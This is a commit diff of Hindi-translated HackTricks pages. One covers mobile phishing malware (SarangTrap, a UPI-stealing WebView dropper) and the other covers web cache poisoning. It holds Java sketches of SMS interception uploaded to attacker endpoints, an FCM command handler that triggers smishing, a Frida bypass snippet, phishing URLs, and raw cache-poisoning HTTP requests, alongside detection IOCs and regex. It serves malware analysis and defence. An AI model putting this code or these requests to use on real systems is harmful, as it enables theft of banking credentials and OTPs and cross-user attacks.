Translated ['', 'src/pentesting-web/cache-deception/README.md', 'src/pen

This commit is contained in:
Translator 2025-08-22 00:12:01 +00:00
parent dcce9a2f50
commit bfedcac8da
3 changed files with 264 additions and 146 deletions

View File

@ -4,12 +4,12 @@
> [!INFO]
> यह पृष्ठ उन तकनीकों को कवर करता है जो खतरे के अभिनेताओं द्वारा **दुर्भावनापूर्ण Android APKs** और **iOS मोबाइल-कॉन्फ़िगरेशन प्रोफाइल** को फ़िशिंग (SEO, सोशल इंजीनियरिंग, फर्जी स्टोर, डेटिंग ऐप्स, आदि) के माध्यम से वितरित करने के लिए उपयोग की जाती हैं।
> सामग्री को Zimperium zLabs (2025) द्वारा उजागर किए गए SarangTrap अभियान और अन्य सार्वजनिक अनुसंधान से अनुकूलित किया गया है।
> सामग्री Zimperium zLabs (2025) द्वारा उजागर SarangTrap अभियान और अन्य सार्वजनिक अनुसंधान से अनुकूलित है।
## हमले का प्रवाह
1. **SEO/फ़िशिंग अवसंरचना**
* दर्जनों समान दिखने वाले डोमेन (डेटिंग, क्लाउड शेयर, कार सेवा…) को पंजीकृत करें।
* समान दिखने वाले डोमेन (डेटिंग, क्लाउड शेयर, कार सेवा…) दर्ज करें।
Google में रैंक करने के लिए `<title>` तत्व में स्थानीय भाषा के कीवर्ड और इमोजी का उपयोग करें।
*दोनों* Android (`.apk`) और iOS इंस्टॉलेशन निर्देशों को एक ही लैंडिंग पृष्ठ पर होस्ट करें।
2. **पहला चरण डाउनलोड**
@ -19,7 +19,7 @@
* पहले रन पर ऐप **आमंत्रण / सत्यापन कोड** (विशेष पहुंच का भ्रम) के लिए पूछता है।
* कोड **HTTP के माध्यम से POST** किया जाता है Command-and-Control (C2) पर।
* C2 जवाब देता है `{"success":true}` ➜ मैलवेयर जारी रहता है।
* सैंडबॉक्स / AV डायनामिक विश्लेषण जो कभी भी एक मान्य कोड प्रस्तुत नहीं करता है, **कोई दुर्भावनापूर्ण व्यवहार नहीं देखता** (निष्कासन)।
* सैंडबॉक्स / AV डायनामिक विश्लेषण जो कभी भी एक मान्य कोड प्रस्तुत नहीं करता है, **कोई दुर्भावनापूर्ण व्यवहार** नहीं देखता (निष्कासन)।
4. **रनटाइम अनुमति दुरुपयोग** (Android)
* खतरनाक अनुमतियाँ केवल **सकारात्मक C2 प्रतिक्रिया के बाद** मांगी जाती हैं:
```xml
@ -36,32 +36,32 @@
- पूर्ण `ContactsContract` डंप (JSON एरे)
- `/sdcard/DCIM` से JPEG/PNG को आकार कम करने के लिए [Luban](https://github.com/Curzibn/Luban) के साथ संकुचित किया गया
- वैकल्पिक SMS सामग्री (`content://sms`)
पेलोड्स **बैच-ज़िप** किए जाते हैं और `HTTP POST /upload.php` के माध्यम से भेजे जाते हैं।
पेलोड्स **बैच-ज़िप किए जाते हैं** और `HTTP POST /upload.php` के माध्यम से भेजे जाते हैं।
6. **iOS वितरण तकनीक**
* एकल **mobile-configuration प्रोफाइल** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` आदि का अनुरोध कर सकता है ताकि डिवाइस को "MDM"-जैसी पर्यवेक्षण में नामांकित किया जा सके।
* एकल **मोबाइल-कॉन्फ़िगरेशन प्रोफाइल** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` आदि का अनुरोध कर सकता है ताकि डिवाइस को "MDM"-समान पर्यवेक्षण में नामांकित किया जा सके।
* सोशल-इंजीनियरिंग निर्देश:
1. सेटिंग्स खोलें ➜ *प्रोफ़ाइल डाउनलोड किया गया*
2. *इंस्टॉल* पर तीन बार टैप करें (फ़िशिंग पृष्ठ पर स्क्रीनशॉट)।
3. बिना हस्ताक्षर वाले प्रोफ़ाइल पर भरोसा करें ➜ हमलावर *संपर्क* और *फोटो* अधिकार प्राप्त करता है बिना ऐप स्टोर समीक्षा के।
3. बिना हस्ताक्षर वाले प्रोफ़ाइल पर भरोसा करें ➜ हमलावर *Contacts* और *Photo* अधिकार प्राप्त करता है बिना ऐप स्टोर समीक्षा के।
7. **नेटवर्क परत**
* सामान्य HTTP, अक्सर पोर्ट 80 पर HOST हेडर के साथ जैसे `api.<phishingdomain>.com`
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (कोई TLS → पहचानना आसान)।
## रक्षा परीक्षण / रेड-टीम सुझाव
* **डायनामिक विश्लेषण बायपास** मैलवेयर मूल्यांकन के दौरान, निमंत्रण कोड चरण को Frida/Objection के साथ स्वचालित करें ताकि दुर्भावनापूर्ण शाखा तक पहुंच सकें।
* **डायनामिक विश्लेषण बायपास** मैलवेयर मूल्यांकन के दौरान, मंत्रण कोड चरण को Frida/Objection के साथ स्वचालित करें ताकि दुर्भावनापूर्ण शाखा तक पहुंच सकें।
* **Manifest बनाम रनटाइम डिफ़** `aapt dump permissions` की तुलना करें रनटाइम `PackageManager#getRequestedPermissions()` के साथ; खतरनाक अनुमतियों का गायब होना एक लाल झंडा है।
* **नेटवर्क कैनरी** कोड प्रविष्टि के बाद असंगत POST बर्स्ट का पता लगाने के लिए `iptables -p tcp --dport 80 -j NFQUEUE` कॉन्फ़िगर करें।
* **mobileconfig निरीक्षण** `security cms -D -i profile.mobileconfig` का उपयोग करें macOS पर `PayloadContent` को सूचीबद्ध करने और अत्यधिक अधिकारों को पहचानने के लिए।
* **mobileconfig निरीक्षण** macOS पर `security cms -D -i profile.mobileconfig` का उपयोग करें `PayloadContent` को सूचीबद्ध करने और अत्यधिक अधिकारों को पहचानने के लिए।
## ब्लू-टीम पहचान विचार
* **सर्टिफिकेट पारदर्शिता / DNS विश्लेषण** अचानक कीवर्ड-समृद्ध डोमेन के बर्स्ट को पकड़ने के लिए।
* **प्रमाणपत्र पारदर्शिता / DNS विश्लेषण** अचानक कीवर्ड-समृद्ध डोमेन के बर्स्ट को पकड़ने के लिए।
* **User-Agent और पथ Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik क्लाइंट से Google Play के बाहर।
* **आमंत्रण-कोड टेलीमेट्री** APK इंस्टॉल के तुरंत बाद 68 अंकों के संख्यात्मक कोड का POST स्टेजिंग का संकेत दे सकता है।
* **MobileConfig साइनिंग** बिना हस्ताक्षर वाले कॉन्फ़िगरेशन प्रोफाइल को MDM नीति के माध्यम से अवरुद्ध करें।
## उपयोगी Frida स्निपेट: ऑटो-बायपास निमंत्रण कोड
## उपयोगी Frida स्निपेट: ऑटो-बायपास मंत्रण कोड
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
---
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
इस पैटर्न को भारतीय UPI क्रेडेंशियल्स और OTP चुराने के लिए सरकारी लाभ विषयों का दुरुपयोग करने वाले अभियानों में देखा गया है। ऑपरेटर विश्वसनीय प्लेटफार्मों को वितरण और स्थिरता के लिए जोड़ते हैं।
### विश्वसनीय प्लेटफार्मों के बीच वितरण श्रृंखला
- YouTube वीडियो लुभावना → विवरण में एक छोटा लिंक है
- शॉर्टलिंक → वैध पोर्टल की नकल करने वाली GitHub Pages फ़िशिंग साइट
- वही GitHub रेपो एक APK होस्ट करता है जिसमें एक नकली “Google Play” बैज है जो सीधे फ़ाइल से लिंक करता है
- गतिशील फ़िशिंग पृष्ठ Replit पर लाइव हैं; दूरस्थ कमांड चैनल Firebase Cloud Messaging (FCM) का उपयोग करता है
### एम्बेडेड पेलोड और ऑफ़लाइन इंस्टॉल के साथ ड्रॉपर
- पहला APK एक इंस्टॉलर (ड्रॉपर) है जो वास्तविक मैलवेयर को `assets/app.apk` पर भेजता है और उपयोगकर्ता को क्लाउड पहचान को कमजोर करने के लिए WiFi/मोबाइल डेटा बंद करने के लिए प्रेरित करता है।
- एम्बेडेड पेलोड एक निर्दोष लेबल (जैसे, “Secure Update”) के तहत इंस्टॉल होता है। इंस्टॉलेशन के बाद, इंस्टॉलर और पेलोड दोनों अलग-अलग ऐप के रूप में मौजूद होते हैं।
स्टैटिक ट्रायज टिप (एम्बेडेड पेलोड के लिए grep करें):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Dynamic endpoint discovery via shortlink
- Malware एक plain-text, comma-separated सूची को एक shortlink से प्राप्त करता है; सरल string transforms अंतिम phishing page path उत्पन्न करते हैं।
Example (sanitised):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
प्सेUDO-कोड:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-आधारित UPI क्रेडेंशियल हार्वेस्टिंग
- “₹1 / UPILite का भुगतान करें” चरण एक हमलावर HTML फॉर्म को WebView के अंदर गतिशील एंडपॉइंट से लोड करता है और संवेदनशील फ़ील्ड (फोन, बैंक, UPI PIN) को कैप्चर करता है जो `addup.php` पर `POST` किए जाते हैं।
न्यूनतम लोडर:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### आत्म-प्रसार और SMS/OTP इंटरसेप्शन
- पहले रन पर आक्रामक अनुमतियाँ मांगी जाती हैं:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- संपर्कों को पीड़ित के डिवाइस से सामूहिक रूप से smishing SMS भेजने के लिए लूप किया जाता है।
- आने वाले SMS को एक प्रसारण रिसीवर द्वारा इंटरसेप्ट किया जाता है और मेटाडेटा (प्रेषक, सामग्री, सिम स्लॉट, प्रति-डिवाइस यादृच्छिक आईडी) के साथ `/addsm.php` पर अपलोड किया जाता है।
Receiver sketch:
```java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}
```
### Firebase Cloud Messaging (FCM) के रूप में लचीला C2
- पेलोड FCM के लिए पंजीकरण करता है; पुश संदेश `_type` फ़ील्ड ले जाते हैं जिसका उपयोग क्रियाओं को ट्रिगर करने के लिए स्विच के रूप में किया जाता है (जैसे, फ़िशिंग टेक्स्ट टेम्पलेट्स को अपडेट करना, व्यवहारों को टॉगल करना)।
उदाहरण FCM पेलोड:
```json
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}
```
हैंडलर स्केच:
```java
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}
```
### शिकार पैटर्न और IOC
- APK में `assets/app.apk` पर द्वितीयक पेलोड होता है
- WebView `gate.htm` से भुगतान लोड करता है और `/addup.php` पर एक्सफिल्ट्रेट करता है
- SMS एक्सफिल्ट्रेशन `/addsm.php` पर
- शॉर्टलिंक-चालित कॉन्फ़िग फ़ेच (जैसे, `rebrand.ly/*`) CSV एंडपॉइंट्स लौटाता है
- ऐप्स को सामान्य "अपडेट/सुरक्षित अपडेट" के रूप में लेबल किया गया है
- अविश्वसनीय ऐप्स में `_type` विभाजक के साथ FCM `data` संदेश
### पहचान और रक्षा विचार
- उन ऐप्स को फ्लैग करें जो उपयोगकर्ताओं को इंस्टॉलेशन के दौरान नेटवर्क बंद करने के लिए कहते हैं और फिर `assets/` से एक दूसरा APK साइड-लोड करते हैं।
- अनुमति ट्यूपल पर अलर्ट करें: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-आधारित भुगतान प्रवाह।
- गैर-कॉर्पोरेट होस्ट पर `POST /addup.php|/addsm.php` के लिए ईग्रेस मॉनिटरिंग; ज्ञात अवसंरचना को ब्लॉक करें।
- मोबाइल EDR नियम: FCM के लिए पंजीकरण करने वाला अविश्वसनीय ऐप और `_type` फ़ील्ड पर शाखा बनाना।
---
## संदर्भ
- [रोमांस का अंधेरा पक्ष: सरंगट्रैप जबरन वसूली अभियान](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [लुबान एंड्रॉइड इमेज संकुचन पुस्तकालय](https://github.com/Curzibn/Luban)
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban Android image compression library](https://github.com/Curzibn/Luban)
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,15 +17,15 @@
1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है।
2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो।
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश दूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा।
3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा।
### Discovery: Check HTTP headers
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर ऐसा संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ उत्तर दिया जाना चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ प्रतिक्रिया दी जानी चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)।
आप अधिक विकल्प पा सकते हैं:
@ -42,22 +42,22 @@ cache-poisoning-to-dos.md
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करना
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...)
पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या अपने द्वारा नियंत्रित JS कोड लोड करें? एक DoS प्रदर्शन करें?...)
### प्रतिक्रिया को कैश करना
### प्रतिक्रिया को कैश करें
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करना पड़ सकता है।
एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और इसे **कैसे** दुरुपयोग करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है।
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\
प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब इसे कैश किया गया है।\
हेडर **`Cache-Control`** भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800`
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के हिस्से के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के हिस्से के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्षित पीड़ित का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है।
कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है।
एक अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं
अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **पीड़ित को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है।
## शोषण के उदाहरण
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### API कुंजी चुराने के लिए पथ यात्रा के साथ कैश विषाक्तता <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**यह लेख समझाता है**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कि कैसे एक URL जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` के साथ OpenAI API कुंजी चुराना संभव था क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्यीकृत किए, जो तब किया गया जब अनुरोध वेब सर्वर तक पहुंचा।
[**यह लेख समझाता है**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कि कैसे एक URL जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` के साथ OpenAI API कुंजी चुराना संभव था क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ कैश की जाएगी बिना Cloudflare द्वारा URL को सामान्यीकृत किए, जो तब किया गया जब अनुरोध वेब सर्वर पर पहुंचा।
यह भी बेहतर तरीके से समझाया गया है:
@ -116,18 +116,18 @@ cache-poisoning-via-url-discrepancies.md
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### वेब कैश विषाक्तता कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### वेब कैश विषाक्तता कमजोरियों का लाभ उठाने के लिए कई हेडर का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं।**यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **आगे बढ़ा रहा है** और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई अनकीड इनपुट्स का लाभ उठाने की आवश्यकता होगी**। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर सेट करते हैं। **यदि** **सर्वर** सभी **HTTP** अनुरोधों को **HTTPS** पर **फॉरवर्ड** कर रहा है और रीडायरेक्ट के लिए डोमेन नाम के रूप में `X-Forwarded-Scheme` हेडर का उपयोग कर रहा है। आप रीडायरेक्ट द्वारा पृष्ठ को इंगित करने के स्थान को नियंत्रित कर सकते हैं।
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### सीमित `Vary` हेडर के साथ शोषण
### सीमित `Vary`header के साथ शोषण
यदि आप पाते हैं कि **`X-Host`** हेडर को **JS संसाधन लोड करने के लिए डोमेन नाम** के रूप में उपयोग किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** हेडर **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
यदि आप पाते हैं कि **`X-Host`** header का उपयोग **JS संसाधन लोड करने के लिए डोमेन नाम के रूप में** किया जा रहा है लेकिन प्रतिक्रिया में **`Vary`** header **`User-Agent`** को इंगित कर रहा है। तो, आपको पीड़ित के User-Agent को निकालने और उस उपयोगकर्ता एजेंट का उपयोग करके कैश को विषाक्त करने का एक तरीका खोजना होगा:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -147,75 +147,75 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### पैरामीटर क्लोकिंग
### Parameter Cloaking
उदाहरण के लिए, **parameters** को ruby सर्वरों में **`;`** अक्षर का उपयोग करके **`&`** के बजाय अलग किया जा सकता है। इसका उपयोग कुंजी रहित पैरामीटर मानों को कुंजी वाले में डालने और उनका दुरुपयोग करने के लिए किया जा सकता है।
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTP कैश पॉइजनिंग का शोषण HTTP अनुरोध स्मगलिंग का दुरुपयोग करके
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
यहां जानें कि [कैश पॉइजनिंग हमलों को HTTP अनुरोध स्मगलिंग का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
यहां जानें कि [Cache Poisoning हमलों को HTTP Request Smuggling का दुरुपयोग करके कैसे किया जाए](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)।
### वेब कैश पॉइजनिंग के लिए स्वचालित परीक्षण
### Automated testing for Web Cache Poisoning
[वेब कैश भेद्यता स्कैनर](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग वेब कैश पॉइजनिंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है।
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग वेब कैश पॉइजनिंग के लिए स्वचालित रूप से परीक्षण करने के लिए किया जा सकता है। यह कई विभिन्न तकनीकों का समर्थन करता है और अत्यधिक अनुकूलन योग्य है।
उदाहरण उपयोग: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### हेडर-रिफ्लेक्शन XSS + CDN/WAF-सहायता प्राप्त कैश सीडिंग (यूजर-एजेंट, ऑटो-कैश किए गए .js)
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित रिफ्लेक्शन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को सेवा प्रदान की गई कैश की गई HTML को विश्वसनीय रूप से पॉइज़न किया जा सके:
यह वास्तविक दुनिया का पैटर्न एक हेडर-आधारित परावर्तन प्राइमिटिव को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को सेवा देने के लिए कैश किए गए HTML को विश्वसनीय रूप से ज़हर दिया जा सके:
- मुख्य HTML ने एक अविश्वसनीय अनुरोध हेडर (जैसे, `User-Agent`) को निष्पादन योग्य संदर्भ में परावर्तित किया।
- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी ऑटो-कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया।
- अनुरोध प्रवाह की विचित्रताएँ एक `.js` पथ के लिए अनुरोध को मुख्य HTML के लिए उपयोग किए जाने वाले कैश कुंजी/वरिएंट को प्रभावित करने की अनुमति देती हैं, जिससे हेडर रिफ्लेक्शन के माध्यम से क्रॉस-यूजर XSS सक्षम होता है।
- CDN ने कैश हेडर को हटा दिया लेकिन एक आंतरिक/मूल कैश मौजूद था। CDN ने स्थिर एक्सटेंशन (जैसे, `.js`) में समाप्त होने वाले अनुरोधों को भी स्वचालित रूप से कैश किया, जबकि WAF ने स्थिर संपत्तियों के लिए GETs पर कमजोर सामग्री निरीक्षण लागू किया।
